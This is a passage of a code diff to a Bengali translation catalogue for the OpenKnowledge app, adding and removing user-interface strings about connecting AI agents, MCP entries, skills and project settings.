এটি দলের কাছে জমা দিয়েছি এবং আপনার লগ সংযুক্ত করেছি।"],"2n3oDU": [@@ -322,6 +327,7 @@"3l_cXP": ["ইচ্ছে করলে দেখে নিন। ঠিক এই ফাইলটিই আমরা পাই।"],"3m2GBo": ["নথি খোঁজা হচ্ছে"],"3mFsc3": ["রিমোটের পরিবর্তনসহ ফিরিয়ে আনুন"],+ "3n7lnE": ["এই মেশিনে এই এজেন্টের এ ধরনের কোনো ফাইল এখনও নেই। এজেন্টটি একবার খুলুন, তারপর আবার দেখুন।"],"3nICSW": ["<0>",["toolList"],@@ -350,6 +356,13 @@"49Mb7P": ["Slidev ইনস্টল আছে কিনা তা যাচাই করা যায়নি। আবার চেষ্টা করতে এই উইন্ডোতে ফিরে আসুন।"],"4A3Yzu": ["কোড ব্লক"],"4BITzH": ["ত্রুটি:"],+ "4C2RCg": [+ "এই সেটআপ ",+ ["peers"],+ "-এর সাথে শেয়ার করা হয়েছে। এখানে এটি সরালে ",+ ["peers"],+ "-এর জন্যও এটি সরে যায়।"+ ],"4CfgPM": ["প্রকল্পের ফোল্ডার তৈরি হয়েছে, কিন্তু git init ব্যর্থ হয়েছে। আবার চেষ্টা করুন।"],"4E9jPa": ["আপনার প্রথম প্রকল্প তৈরি করুন"],"4EZrJN": ["নিয়ম"],@@ -384,6 +397,7 @@"4niEzY": ["স্যান্ডবক্স করা HTML এমবেড — HTML লিখুন, রেন্ডার করা প্রাকদর্শন সঙ্গে সঙ্গে দেখুন।"],"4nj6n8": ["/api/config HTTP ", ["code"], " ফিরিয়েছে"],"4pDZ2N": ["\"", ["0"], "\"-কে অন্য প্রতিটি জায়গা থেকে সরানো হয়েছে — এর উৎস ফোল্ডার এখনও লোড হয়"],+ "4sE6E9": ["কোন টুল যুক্ত আছে তা যাচাই করা যায়নি।"],"4sKwf6": ["ফাইলটি আগে থেকেই আছে"],"4sUdTJ": ["থিমযুক্ত প্রাকদর্শন"],"4uNLmk": ["টানা হচ্ছে"],@@ -406,6 +420,7 @@"5Ajb15": ["সূত্র <0>c = √(a² + b²)</0> ইনলাইনে রেন্ডার হয়।"],"5AzM72": ["এই সেটিংটি প্রতি-মেশিন ভিত্তিক এবং সহযোগীদের সঙ্গে ভাগ করা হয় না।"],"5BlXTD": ["সংস্করণের প্রাকদর্শন লোড করা যায়নি। আপনি তবুও নিচে বেছে নিতে পারেন কীভাবে এটি মীমাংসা করবেন।"],+ "5CHuXn": [["0"], "-এর জন্য ", ["1"], " প্রয়োজন। দুটোই বন্ধ করুন, অথবা দুটোই চালু রাখুন।"],"5ClEAu": ["ক্রস-নথি গোষ্ঠীকরণের জন্য ইনলাইন হ্যাশট্যাগ।"],"5D3Ior": ["ফোল্ডার লুকান"],"5F5HYj": [["ahead"], " এগিয়ে, ", ["behind"], " পিছিয়ে"],@@ -424,6 +439,9 @@"5OqaJi": ["একটি প্রকল্পের নাম দিন"],"5PHgV2": ["আপনি টার্মিনাল থেকে <0>ok bug-report</0> দিয়েও একটি তৈরি করতে পারেন।"],"5QGTaA": ["আপেক্ষিক পথ কপি করা যায়নি"],+ "5RiC8D": [+ "ডিসকভারি স্কিলগুলো সব AI টুলের জন্য একসঙ্গে পরিচালিত হয়। সেটিং → স্কিল স্টুডিও থেকে এটি ইনস্টল করুন।"+ ],"5SwVv1": ["ইনস্টল করা নেই"],"5Szq6N": ["এই এন্ডপয়েন্ট আপনার কনফিগার করা ভেক্টরের আকার উপেক্ষা করেছে। মডেলের নিজের আকার ব্যবহার করতে <0>search.semantic.dimensions</0> সরিয়ে দিন।"@@ -581,6 +599,12 @@"7IsvrP": ["হালনাগাদ দেখা হচ্ছে"],"7JtSLi": ["পথ মুছতে ব্যর্থ"],"7MSbAT": ["যেখানে উপলব্ধ"],+ "7Ny8bV": [+ ["dependent"],+ "-এর জন্য ",+ ["prerequisite"],+ " প্রয়োজন, এবং OpenKnowledge এই মেশিনে এই এজেন্টটি খুঁজে পায়নি।"+ ],"7O7REc": [["0"], " পুনরুদ্ধার করা যায়নি। আবার চেষ্টা করুন।"],"7OhaRy": ["সোর্স অনুসন্ধান"],"7Ongq0": ["আমার AGENTS.md ফাইলটি ৪০k অক্ষরের কমে সংক্ষিপ্ত করুন"],@@ -696,6 +720,7 @@"8uGMP8": ["লুকানো বিষয়বস্তু এখানে থাকে।"],"8vCZcs": ["ফাইল খুলতে ব্যর্থ।"],"8vETh9": ["দেখান"],+ "8wwkVu": ["OpenKnowledge লেখার পরে এই এন্ট্রিটি পরিবর্তিত হয়েছে। এটি চালু করলে প্রতিস্থাপিত হবে।"],"8x6zk9": [["0"], " সম্পাদক লুকান"],"9-lMCF": [["slot"], " রং — ", ["0"]],"90-wKT": ["OpenKnowledge ", ["subject"], " এর ইতিহাস পড়েছে"],@@ -824,7 +849,6 @@"AYoYhU": ["হালনাগাদ ব্যর্থ: ", ["0"]],"AaC-CE": ["খালি বোর্ড"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["কাস্টম open-knowledge এন্ট্রি — OpenKnowledge দ্বারা পরিচালিত নয়"],"AdcGcG": ["আপনার পরিবর্তন প্রয়োগ করা হচ্ছে"],"AddR83": ["প্রকল্প তৈরি করা যায়নি। আবার চেষ্টা করুন বা অন্য জায়গা বাছুন।"],"AeHuzT": ["# প্রতি লাইনে একটি প্যাটার্ন।\\n# উদাহরণ:\\n# drafts/\\n# *.draft.md\\n# !keep.md"],@@ -849,6 +873,7 @@"AkA6DO": [["0"], " প্লাগইনের অংশ — শুধু পড়ার জন্য; একটি অনুলিপি সম্পাদনা করতে এটি খুলুন"],"Al8HPP": ["কনফ্লিক্ট ", ["0"], "-এর জন্য বর্তমান সংস্করণ গ্রহণ করুন"],"Am78jY": ["ক্রম বদলাতে ", ["keyName"], " টেনে আনুন"],+ "ApNWRQ": [["0"], " থেকে OpenKnowledge সরাবেন?"],"ApeA0n": [["docName"], "-এর ", ["dropCount"], "টি সম্পাদনা পূর্বাবস্থায় ফেরানো হয়েছে"],"Aq-O0x": ["অবস্থা"],"AqnqMJ": ["API কী নির্ধারিত"],@@ -880,6 +905,9 @@"BGtzlf": [["uploadFolderName"], " — ১টি ফাইল"],"BH56dn": ["কাস্টম প্রদর্শিত লেখা"],"BKI4hX": ["ফাইলে খুঁজুন"],+ "BMoSQy": [+ "এই এজেন্ট OpenKnowledge-কে আপনার হয়ে এটি সেট আপ করার কোনো উপায় দেয় না। এর সেটআপ গাইডে ম্যানুয়াল ধাপগুলি রয়েছে।"+ ],"BOsvJ8": ["পরে File মেনু থেকে যোগ না করা পর্যন্ত <0>ok</0> বাহ্যিক টার্মিনালে চলবে না। আপনার AI টুলগুলো কাজ করতে থাকবে।"],@@ -949,11 +977,7 @@"CU3AiE": ["ব্রাঞ্চ বদলানো হচ্ছে"],"CUmCwI": ["নিচে সারি যোগ করুন"],"CWjM1r": ["সরাসরি ", ["0"], "/-এ থাকা নথি"],- "CWzc2T": [- "<0>~/.ok/bin</0> ও <1>~/.ok/env.sh</1> দুই ক্ষেত্রেই থেকে যায় — অ্যাপ সবসময় সেগুলো রক্ষণাবেক্ষণ করে।"- ],"CXDYfm": ["এই প্রকল্পের স্কিল ইনস্টল করা আছে কিনা পড়া যায়নি।"],- "CXTwen": ["এই প্রকল্পের কনফিগ নিরাপদে সম্পাদনা করা যাচ্ছে না"],"CXcveY": ["Open Knowledge Markdown ধারণকারী প্রতিটি ফোল্ডারে index.md নামের একটি নেভিগেশন ফাইল রক্ষণাবেক্ষণ করে, প্রতিটি ফোল্ডারের নথিগুলিকে টাইপ এবং তার সাবফোল্ডারের সাথে লিঙ্ক করে তালিকাভুক্ত করে। আপনার নথি পরিবর্তনের সাথে সাথে এটি এই ফাইলগুলিকে পুনরায় লিখবে, এবং আপনি নিজে এগুলিতে সম্পাদনা করা সমস্ত কিছু প্রতিস্থাপিত হবে৷"],@@ -985,14 +1009,17 @@"Git প্রকল্পে, Open Knowledge রিপোজিটরির রুটের .gitattributes ফাইলে একটি সীমিত নিয়ম যোগ করে, যাতে একই সময়ে হওয়া ইনডেক্স পরিবর্তনগুলো একত্রিত হয়।"],"CxVk-w": [["address"], "-এ মন্তব্য"],+ "CxnZP4": ["OpenKnowledge কী সেট আপ করবে তা বেছে নিন।"],"Cz-K13": ["15 মিনিট"],"D-NlUC": ["সিস্টেম"],- "D-Oh1s": [["0"], " কীভাবে সেট আপ করবেন (ব্রাউজারে খোলে)"],"D-_B7l": ["যুক্ত হয়েছে — এই এন্ডপয়েন্ট ", ["0"], "-মাত্রার ভেক্টর ফেরায়।"],"D0CegO": ["এই নামে দ্বিতীয় একটি স্কিল আছে — সম্পূর্ণ পরিচালনার জন্য এর নাম বদলান (বা একটি মুছুন)।"],"D12vtS": ["(বিচ্ছিন্ন)"],"D2emTw": ["আপনার মতামত পাঠানোর সময় কিছু একটা ভুল হয়েছে। অনুগ্রহ করে আবার চেষ্টা করুন।"],"D4H2N6": [["tag"], " সরান"],+ "D4I0F9": [+ "অ্যাপ জুড়ে এজেন্ট মেনুতে কোন এজেন্টগুলি দেখা যাবে তা বেছে নিন, এবং সেগুলি এমনভাবে সেট আপ করুন যাতে তারা আপনার নথি পড়তে ও আপডেট করতে পারে।"+ ],"D7gKrd": ["OpenKnowledge .ok/local/terminal-এর অধীনে লঞ্চ সেটিংস লিখতে পারেনি, কারণ ফোল্ডারটি এই প্রকল্পের মধ্যে নিরাপদভাবে অবস্থিত নয়। নিশ্চিত করুন যে এটি প্রকল্পের ভেতরের একটি আসল ফোল্ডার, কোনো লিংক নয়। Claude আপনাকে OpenKnowledge অনুমোদন করতে বলবে।"],@@ -1076,6 +1103,7 @@"E1_c72": ["কাজের তালিকা"],"E1tG2u": ["Claude Code নিন"],"E2Mv-X": ["সোর্স কপি করুন"],+ "E35Meh": [["rowLabel"], " সরান"],"E4XYYH": ["এই প্রকল্পের জন্য টার্মিনাল চালু করুন"],"E5WeIy": ["সবচেয়ে সম্প্রতি বন্ধ করা সম্পাদক ট্যাবটি আবার খুলুন।"],"E6lrpp": ["আপনার রিপোজিটরি ব্রাউজ ও সিঙ্ক করতে OpenKnowledge যে GitHub অ্যাকাউন্ট ব্যবহার করে তা সামলান।"],@@ -1083,7 +1111,9 @@"E91VZY": ["নতুন উইন্ডোতে খুলুন"],"E9bKSA": ["তৈরি করা হচ্ছে"],"E9gh86": ["আপনি সর্বোচ্চ ", ["MAX_ATTACHMENTS"], "টি ছবি সংযুক্ত করতে পারেন।"],+ "EBP_hA": ["এই প্রকল্পের এজেন্ট কনফিগারেশনে একটি OpenKnowledge MCP এন্ট্রি যোগ করে।"],"EBVbtP": ["আইটেমের প্রতিলিপি বানানো যায়নি"],+ "EDD3UL": ["এই মেশিনে শনাক্ত হয়নি"],"EDl9kS": ["সদস্য হোন"],"EDm3wJ": ["পার্থক্য রেন্ডারার লোড হচ্ছে"],"EEYbdt": ["প্রকাশ করুন"],@@ -1175,6 +1205,7 @@"EvPX7f": ["রিপোজিটরিটি কোথায় ক্লোন করবেন তা বাছতে একটি ফোল্ডার নির্বাচক খোলে।"],"EvXKHE": ["OpenKnowledge জ্ঞানভাণ্ডারে অনুসন্ধান করেছে"],"Evq3lu": ["অনাথ মোড"],+ "Evsh6U": ["আপনার নথিতে কোনো পরিবর্তন করা হবে না।"],"ExPiRQ": ["পরবর্তী CodeMirror lint নির্ণয়ে যান।"],"ExUzM4": ["স্কিল \"", ["0"], "\""],"F-1xhe": ["এই প্রজেক্টের সার্ভার এই উইন্ডো থেকে ভিন্ন ব্রাঞ্চে আছে — কনটেন্ট লোড করা যাচ্ছে না।"],@@ -1206,7 +1237,6 @@"FEqWFL": ["আপনার AI এজেন্টদের এখানে কীভাবে কাজ করতে হয় তা দেখায়।"],"FEr96N": ["থিম"],"FF7V5K": ["প্রকৃত আকার"],- "FK57sK": [["names"], "-এর MCP ইন্টিগ্রেশন মেরামত করা হয়েছে"],"FKVmcC": ["এই প্রকল্পের সেটিংস। কিছু git-এর মাধ্যমে প্রতিটি সহযোগীর সঙ্গে ভাগ করা হয়; বাকিগুলি শুধু এই কম্পিউটারে প্রযোজ্য।"],@@ -1294,6 +1324,12 @@"যেকোনো .mdx ফাইল। বিন্যাসটি হল .md-শুধু, তাই .md-এর জন্য স্ক্যান করা পাঠক কখনই এটি খোলে না — এবং যদি একই নামের একটি .md বিদ্যমান থাকে, তাহলে সেটিকে পড়ে।"],"GSYWCm": ["নথি প্যানেল লুকান"],+ "GTvYzA": [+ ["dependent"],+ "-এর জন্য ",+ ["prerequisite"],+ " প্রয়োজন, যা OpenKnowledge আপনার জন্য সেট আপ করতে পারে না। এর সেটআপ গাইডে ম্যানুয়াল ধাপগুলো আছে।"+ ],"GU1Y4A": ["শুধু-স্থানীয় চাওয়া হয়েছিল, কিন্তু কোনো git রিপোজিটরি তৈরি হয়নি। প্রকল্পটি git রিপোজিটরিতে এলে সেটিংস → সিঙ্ক ও ভাগাভাগি থেকে পরে বদলে নিতে পারবেন।"],@@ -1359,6 +1395,11 @@],"H86f9p": ["গুটিয়ে নিন"],"H8DVOJ": ["দুই জায়গাতেই এক — ", ["pick"], " এগুলো পড়তেই থাকবে।"],+ "H8tj8y": [+ "এই সেটআপটি ",+ ["peers"],+ "-এর সাথে শেয়ার করা, এবং OpenKnowledge এখান থেকে এটি পরিবর্তন করতে পারে না। প্রথমে Skills Studio-তে ফোল্ডারটি আনলিংক করুন।"+ ],"HAkEqR": ["সাম্প্রতিক ফাইল"],"HAvHev": ["\"", ["name"], "\"-এর জন্য স্বয়ংক্রিয় হালনাগাদ বন্ধ"],"HAvRAI": [["skillCount", "plural", { "one": ["স্কিল"], "other": ["স্কিল"] }]],@@ -1371,7 +1412,6 @@"HPTPGr": ["আমার ব্যবহারকারী গল্পের জন্য একটি নতুন স্পেক ফাইল তৈরি করুন"],"HPaAxt": ["Slidev ইনস্টল করা নেই, তাই Slidev অ্যাকশন লুকানো থাকে। ইনস্টল করে এই উইন্ডোতে ফিরে আসুন।"],"HSI88F": ["টেবিল মুছুন"],- "HTW0Zw": ["আরও একটি ধাপ: এই প্রকল্পে <0>claude</0> চালান এবং OpenKnowledge-কে একবার অনুমোদন দিন।"],"HZ7fEu": ["থিমের নাম"],"HbcQYf": [["display"], "-এ থাকা সিমলিংকটি স্কিলের একটি স্বতন্ত্র অনুলিপি দিয়ে বদলাবেন? আর কিছু সরে না।"],"HdS4Ft": ["আপনার সর্বশেষ খোলা নথি পুনরুদ্ধার করা যায়নি।"],@@ -1554,6 +1594,7 @@"KPW5WC": ["টেমপ্লেট সরানো হয়েছে"],"KQGZuq": ["আগে থেকে থাকলে পুনরায় ব্যবহার করা হয়, না থাকলে তৈরি করা হয়।"],"KRJ6xh": ["এখনও কোনো ট্যাগ নেই। একটি তৈরি করতে লিখতে থাকুন।"],+ "KTxoDA": ["OpenKnowledge এই এন্ট্রিটি চিনতে পারছে না। এটি চালু করলে এটি প্রতিস্থাপিত হবে।"],"KUjOb9": ["চলছে"],"KWL_Ih": ["ব্লগ পোস্ট"],"KX1MZR": ["আপনার রিপোজিটরি"],@@ -1587,6 +1628,7 @@"KsAPaB": ["এই ব্রাঞ্চটি এখানে চেক আউট করা আছে:"],"KtACeE": ["ডিফল্ট: <0>", ["0"], "</0>"],"KujtjC": ["খুঁজুন"],+ "Kuw5NN": [["rowLabel"], " কীভাবে সেট আপ করবেন"],"KvwJv8": ["কিছু ফাইল তালিকায় নেই: ওয়ার্কিং ট্রিতে অনেক বেশি পরিবর্তন আছে।"],"Kx881F": [["0"], " পুনরুদ্ধার করা হয়েছে।"],"L-rMC9": ["ডিফল্টে রিসেট করুন"],@@ -1644,7 +1686,6 @@"L_mqhg": ["(", ["0", "plural", { "one": ["#", " প্রচেষ্টা"], "other": ["#", " প্রচেষ্টা"] }], ")"],"LaskKp": ["আলাপে পাঠান (", ["0"], ")"],"Lbl6KA": [["0"], " থেকে ইনস্টল করা যায়নি: ", ["1"]],- "LbmLyU": ["এই টুলের কনফিগ নিরাপদে সম্পাদনা করা যাচ্ছে না"],"LdABLa": [["target"], " খোলা যায়নি। হাতে খুলে দেখুন।"],"LdKIHS": ["একটি স্পেকের খসড়া করুন"],"LeGeTf": ["GitHub-এ OpenKnowledge"],@@ -1671,6 +1712,7 @@"Lrsl_h": ["অনুপস্থিত ফাইল ", ["identity"], "। রেফারেন্সে যান।"],"LtI9AS": ["মালিক"],"LtSYdi": ["Finder-এ দেখান"],+ "LtiJ5c": ["প্রকল্প স্কিল"],"LuoJWu": [["truncatedShownCount",@@ -1783,9 +1825,6 @@"NIWAux": ["#", ["tagDocsName"], "-এর অধীনে কোনো নথি নিবন্ধিত নেই।"],"NJyQi_": ["ব্রাঞ্চ ", ["shareBranch"], " রিমোটে আর নেই।"],"NKkZXl": ["চালু করে খুলুন"],- "NNJsn7": [- "আরও একটি ধাপ: এটি Cursor → Settings → Tools & MCP-তে চালু করুন (Cursor আপনি চালু না করা পর্যন্ত প্রকল্পের সার্ভার বন্ধ রাখে)।"- ],"NOHyEE": ["আবার পাঠানোর চেষ্টা করুন"],"NORKZU": ["প্যাটার্নের সতর্কতা: ", ["summary"]],"NQ8llq": ["আইটেম যোগ করুন"],@@ -1845,7 +1884,6 @@"O0Z2Xr": ["বহির্গামী"],"O2UpM1": ["ব্রাউজ করুন"],"O3oNi5": ["ইমেইল"],- "O4PnDd": ["AI টুল ব্যবস্থাপনা শুধু OpenKnowledge ডেস্কটপ অ্যাপেই আছে।"],"O6H89R": ["মীমাংসিত"],"O6yEPk": ["আপনার পছন্দের ফোল্ডারে একটি নতুন OpenKnowledge প্রকল্প তৈরি করুন।"],"O7_W_a": ["AI দিয়ে খুলুন"],@@ -1908,7 +1946,6 @@"OlFVNr": ["নির্বাচিত অংশ নিয়ে AI-কে জিজ্ঞেস করুন"],"Oo_WWc": ["কোনো পাতা পাওয়া যায়নি"],"Oos8fo": ["কমান্ড কপি করুন"],- "OplnBG": ["এই বিল্ডে AI টুল সামলানো যায় না।"],"OqqecQ": ["30 সেকেন্ড"],"OsSaYm": ["ক্লোন ব্যর্থ: ", ["title"]],"OuQezS": ["আপনি এই কথোপকথন আবার শুরু করলে প্রযোজ্য হবে"],@@ -1936,6 +1973,10 @@"P6gXB-": [["keyName"], " বদলান"],"P6lAT3": ["ফোল্ডার লক্ষ্য: ", ["linkTitle"], "। সংক্ষিপ্তসার খুলতে ক্লিক করুন।"],"P8AnMN": ["Slidev খোঁজা হচ্ছে"],+ "P9rQN2": [+ ["label"],+ "-এর টার্মিনাল ও ডেস্কটপ সারি একই সেটআপ ভাগ করে, তাই যেকোনো একটি যুক্ত করলে দুটোই যুক্ত হয়।"+ ],"PB4upl": ["আগের মিল খুঁজুন"],"PBQwGb": ["ফাইল, কমান্ড, প্রকল্প ও AI হস্তান্তরের ক্রিয়া খুঁজুন। দৃশ্য সম্পাদকে লেখা নির্বাচিত থাকলে K সংযোগটি বদলে একটি লিংক যোগ করে; P সংযোগটি সবসময় কমান্ড প্যালেট খোলে।"@@ -2032,6 +2073,7 @@"QDZbvN": [["diffDays"], " দিন আগে"],"QGWzup": ["OpenKnowledge স্কিল লোড হচ্ছে"],"QHCx0c": ["বাগ রিপোর্টের ইতিহাস"],+ "QHcLEN": ["যুক্ত"],"QIrBIx": ["সব ফাইল মেলে ধরুন"],"QIzioS": [["agentName"], " ছবি সংযুক্তি গ্রহণ করে না।"],"QKgePK": [["editor"], "-কে উৎসের সঙ্গে মেলানো হয়েছে (এর বাইটের ব্যাকআপ নেওয়া আছে)"],@@ -2101,6 +2143,7 @@"RD6H9q": ["Open Knowledge এই index.md ফাইলগুলিকে দস্তাবেজগুলি পরিবর্তন করার সাথে সাথে পুনঃলিখন করে, তাই তাদের ম্যানুয়াল সম্পাদনাগুলি প্রতিস্থাপিত হয়৷"],+ "RD8cCw": ["এই বিল্ডে এজেন্ট সংযোগ পরিচালনা করা যায় না।"],"RDjuBN": ["সেটআপ"],"RDrXh4": ["ব্যবহারকারী, প্রকল্প ও সংযুক্তির সেটিং কনফিগার করুন।"],"REkvLz": [@@ -2133,6 +2176,7 @@"RSqaSd": ["প্রকল্পের রুট"],"RVZJWQ": ["প্রকল্প খুঁজুন…"],"RXEbZy": ["অ্যাপে"],+ "RXYvxn": ["এই বিকল্পটি স্বয়ংক্রিয়ভাবে পরিবর্তন করা যাবে না।"],"RY6Bq1": ["ভাগ করা ", ["targetNoun"], " খুলুন"],"RZXTlY": ["স্বয়ংক্রিয় সংশোধন (", ["count"], ")"],"R_U_A4": ["ফাইল বা ফোল্ডার প্যাটার্ন যোগ করুন, যেমন guides/**/*"],@@ -2177,6 +2221,9 @@"S33tz3": ["যুক্ত নয়"],"S3qu11": ["এটি একটি পরীক্ষামূলক বা একবারের প্রকল্প ছিল"],"S48xcO": ["অপেক্ষমাণ"],+ "S6SbxA": [+ "এই ফাইলে বিদ্যমান \"open-knowledge\" এন্ট্রিটি প্রতিস্থাপন করে। ফাইলের অন্য সার্ভারগুলি অপরিবর্তিত থাকে।"+ ],"S6eHlw": ["আগে একটি প্রকল্প খুলুন।"],"S6l5dv": ["নতুন আইটেম তৈরি শুরু করা যায়নি"],"S9Vnum": [["patternText"], " সরান"],@@ -2406,7 +2453,6 @@"VFQXPl": ["আপনি কোনো লিংকের উপর মাউস নিলে বাইরের লিংকের প্রাকদর্শন সাইটের নাম, পাতার শিরোনাম ও বিবরণসহ একটি কার্ড দেখায়।"],- "VIwCaD": ["এন্ট্রি"],"VJaBca": ["একটি স্কিল ফোল্ডার বাছুন"],"VL6VsE": ["বর্তমানটি গ্রহণ করুন"],"VM7H66": ["এই ফাইলটি বাইনারি এবং লেখা হিসেবে দেখানো যায় না।"],@@ -2471,6 +2517,7 @@"W9NSe0": ["লিংক যাচাই করা হচ্ছে"],"W9_Bub": ["স্থানীয় পরিবর্তন আগত সিঙ্কের সঙ্গে মিলে যাচ্ছে"],"WBNpt9": ["এই থিমটি পড়া যায়নি (", ["0"], ")"],+ "WEYdDv": ["প্রস্তাবিত"],"WFEbV1": ["সম্পাদকে সাধারণ markdown সমস্যা চিহ্নিত করুন। <0>markdownlint<1/></0> দ্বারা চালিত।"],"WG3MZ4": [["0"], "টি স্কিল নির্বাচিত"],"WGMoTY": ["বাগ, ক্র্যাশ, বা এটি নির্ভরযোগ্য মনে হয়নি"],@@ -2540,19 +2587,19 @@"XBBZnv": ["লিংকের লক্ষ্য \"", ["shown"], "\" কোনো বিদ্যমান নথিকে নির্দেশ করে না।"],"XBgr2S": ["এখানে কপি করুন"],"XDzAnp": ["নতুন ট্যাবে খোলে"],- "XEfNPL": [- "ইনস্টল করা আছে — ok বাহ্যিক টার্মিনালে ব্যবহার করা যাবে। টিক চিহ্ন তুলে দিলে এটি সরানো হবে; আপনার AI টুলগুলো কাজ করতে থাকবে।"- ],"XF1kgP": [["source"], " থেকে সবকিছু ইতিমধ্যে আপ টু ডেট"],- "XFpEgc": [- "অ্যাপ জুড়ে এজেন্ট মেনুতে কোন এজেন্টগুলি দেখা যাবে তা বেছে নিন, যেমন Ask AI, Open with AI এবং + নতুন চ্যাট বোতাম। কোনো এজেন্ট বন্ধ করলে সেটি এই সবগুলি থেকে লুকিয়ে যাবে।"- ],"XGKy1z": ["ছবি দেখানো যায়নি"],"XH30C4": ["নথি"],"XIltnd": ["\"", ["trimmed"], "\" নামের একটি স্কিল এখানে আগে থেকেই আছে"],"XJOV1Y": ["কার্যকলাপ"],"XK5cbh": ["OpenKnowledge-এর নেভিগেশন ইতিহাসে সামনে যান।"],"XNBGZw": ["বার্তা পাঠানো হয়নি: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ "-এর জন্য ",+ ["prerequisite"],+ " প্রয়োজন, এবং এই মেশিনে এই এজেন্টের এ ধরনের কোনো ফাইল এখনও নেই। এজেন্টটি একবার খুলুন, তারপর আবার চেষ্টা করুন।"+ ],"XPJ0sN": [["settingsDescriptorLabel"], " প্রপার্টি"],"XPqe3B": ["নতুন ট্যাগ #", ["tagValue"], " তৈরি করুন"],"XRuL0i": ["পাতা তৈরি করুন"],@@ -2606,6 +2653,12 @@"Xp7Kq4": ["আরেকটি সিঙ্ক কাজ চলছে। একটু পরে আবার চেষ্টা করুন।"],"Xp94R1": ["আর একবার চেষ্টা করুন"],"XpIZmv": ["মনোস্পেস লেখাসহ বেড়া দেওয়া কোড ব্লক।"],+ "XrPvMT": [+ ["dependent"],+ "-এর জন্য ",+ ["prerequisite"],+ " প্রয়োজন, এবং OpenKnowledge এই ফাইলের ফরম্যাটে সেই এন্ট্রি নিরাপদে প্রতিস্থাপন করতে পারে না।"+ ],"Xs1kjx": ["আপডেট দেখার ব্যবধান"],"Xs7IcT": [["displayName"], "-এ পৌঁছানো যায়নি। আবার চেষ্টা করবেন?"],"XszXjc": ["নাম বদলে ", ["0"], " করা হয়েছে"],@@ -2625,6 +2678,7 @@["pickedRelative"],"</1>-এর মূল, কারণ তাতে একটি <2>.git</2> ফোল্ডার আছে (প্রতি git রিপোজিটরিতে একটি .ok/)। <3>বিষয়বস্তুর ডিরেক্টরি</3> ডিফল্টে <4>.</4> (পুরো রিপোজিটরি); এটি সংকীর্ণ করতে একটি উপ-ফোল্ডার লিখুন।"],+ "Y1wa2r": ["OpenKnowledge সরাবেন?"],"Y2tU6I": [["0"], " মুছুন"],"Y5la_5": ["এখানে ইনস্টল করুন"],"Y6PKd1": [["name"], " সাম্প্রতিক প্রকল্প থেকে সরান"],@@ -2747,9 +2801,6 @@"ZWwYwM": ["ভিত্তি ব্রাঞ্চ"],"ZWxfrc": ["ফোল্ডার প্রপার্টি মুছে ফেলা হয়েছে"],"ZWyHmq": ["এই প্রকল্প"],- "ZYtq3m": [- "আপনি যে AI টুলগুলো ব্যবহার করেন সেগুলোকে এই নির্দিষ্ট প্রকল্পের সঙ্গে যুক্ত করুন। এই ফাইলগুলো প্রকল্পের ফোল্ডারেই থাকে, তাই যে-ই এটি খুলুক একই সেটআপ পায়।"- ],"Z_nNa2": ["আপনার থিমের নাম দিন"],"ZatAO_": ["লিংক প্রাকদর্শন চালু করতে ব্যর্থ — ", ["detail"]],"Zf0w-R": [@@ -2795,7 +2846,6 @@["label"]," প্লাগইনের বদলে ব্যবহার করে — সেটি আর প্লাগইনের আপডেট অনুসরণ করে না।"],- "_5qBNl": ["AI টুল ও CLI"],"_6FVBz": ["ট্যাব ১-৮-এ যান"],"_7UQ7y": ["পূর্ণ শব্দ"],"_8quCH": ["টেমপ্লেট থেকে"],@@ -2808,6 +2858,7 @@["currentLabel"],"</1>-এ আছেন।"],+ "_9rYSZ": [["names"], "-এর MCP ইন্টিগ্রেশন মেরামত করা হয়েছে"],"_Bix3-": [["localizedFirstMessage"], "-এর উপস্থিতিগুলি"],"_DwR-n": ["তৈরি হচ্ছে…"],"_G7A92": ["index.md বজায় রাখুন"],@@ -2819,7 +2870,6 @@"_JOGC0": ["মতামত পাঠান…"],"_LczaQ": ["প্রত্যাখ্যাত — ", ["optionName"]],"_NWEid": ["পথ দিয়ে স্কিমা ফাইল খুঁজুন"],- "_NX6gG": ["এই বিল্ডে প্রকল্পের AI টুল সামলানো যায় না।"],"_O7dJS": ["এখানে ভিন্ন সংস্করণ — তুলনা করে মীমাংসা করতে ক্লিক করুন"],"_PACVa": ["প্রকাশের নোট"],"_PBJRl": ["অন্তত একটি অক্ষর বা সংখ্যা যোগ করুন।"],@@ -2847,6 +2897,9 @@"_ci9Bj": ["সার্ভার অসম্পূর্ণ ফোল্ডার প্রতিক্রিয়া ফেরত দিয়েছে।"],"_eguJc": ["আপলোড করা হচ্ছে"],"_fQGOp": ["পাথে স্পেস অনুমোদিত নয়"],+ "_fZSIY": [+ "OpenKnowledge এই ফাইলটি পরিবর্তন করেনি কারণ এটি নিরাপদে পার্স করা যায়নি। ফাইলটি হাতে ঠিক করুন, তারপর আবার চেষ্টা করুন।"+ ],"_gO_m8": ["আপনার অনুমোদনের অপেক্ষা"],"_gkGSK": ["টেমপ্লেট মুছে ফেলা হয়েছে"],"_pY_Vq": ["রিপোজিটরিটি সরানো হয়েছে, নাম বদলানো হয়েছে, বা মুছে ফেলা হয়েছে।"],@@ -2854,6 +2907,7 @@"_rP3HI": [["minutes"], " মিনিট আগে"],"_tekeB": ["ফোল্ডার প্রপার্টি হালনাগাদ হয়েছে"],"_tjopj": ["প্রতিলিপি পেস্ট করুন"],+ "_uxBz5": [["rowLabel"], " এর জন্য MCP ও স্কিল যোগ করুন"],"_yB-24": ["যেকোনো ", ["0"], "/ ফোল্ডারের নিচের সবকিছু"],"a-cKXz": ["পুরো সোর্স নির্বাচন করুন"],"a3LDKx": ["নিরাপত্তা"],@@ -2964,6 +3018,7 @@"blFttG": ["প্রকল্প খুঁজুন"],"bmC18N": ["পুনরায় যুক্ত হওয়ার আগে \"", ["docName"], "\"-এর স্থানীয় সহযোগিতা তথ্য মুছে ফেলা হচ্ছে।"],"bnOTEz": ["আনা হচ্ছে…"],+ "bn_MDX": ["কেন এটির প্রতি মনোযোগ প্রয়োজন"],"bpMVIA": ["লিংকের লক্ষ্য \"", ["shown"], "\"-কে প্রকল্পের স্থানীয় লক্ষ্য হিসেবে নির্ণয় করা যায়নি।"],"bpytj4": [["0"], "-এ সরান"],"brCtGB": ["ইতিহাস অনুপলব্ধ"],@@ -3078,6 +3133,7 @@"d3dX3w": ["\"", ["word"], "\" খুঁজুন"],"d5rK4X": [["chars", "plural", { "one": ["অক্ষর"], "other": ["অক্ষর"] }]],"d6qW27": [["agentName"], " জানিয়েছে: ", ["headline"]],+ "dCforW": ["এই ফাইলটি লেখা যায়নি। কারণ জানতে OpenKnowledge লগ দেখুন।"],"dD7NPy": 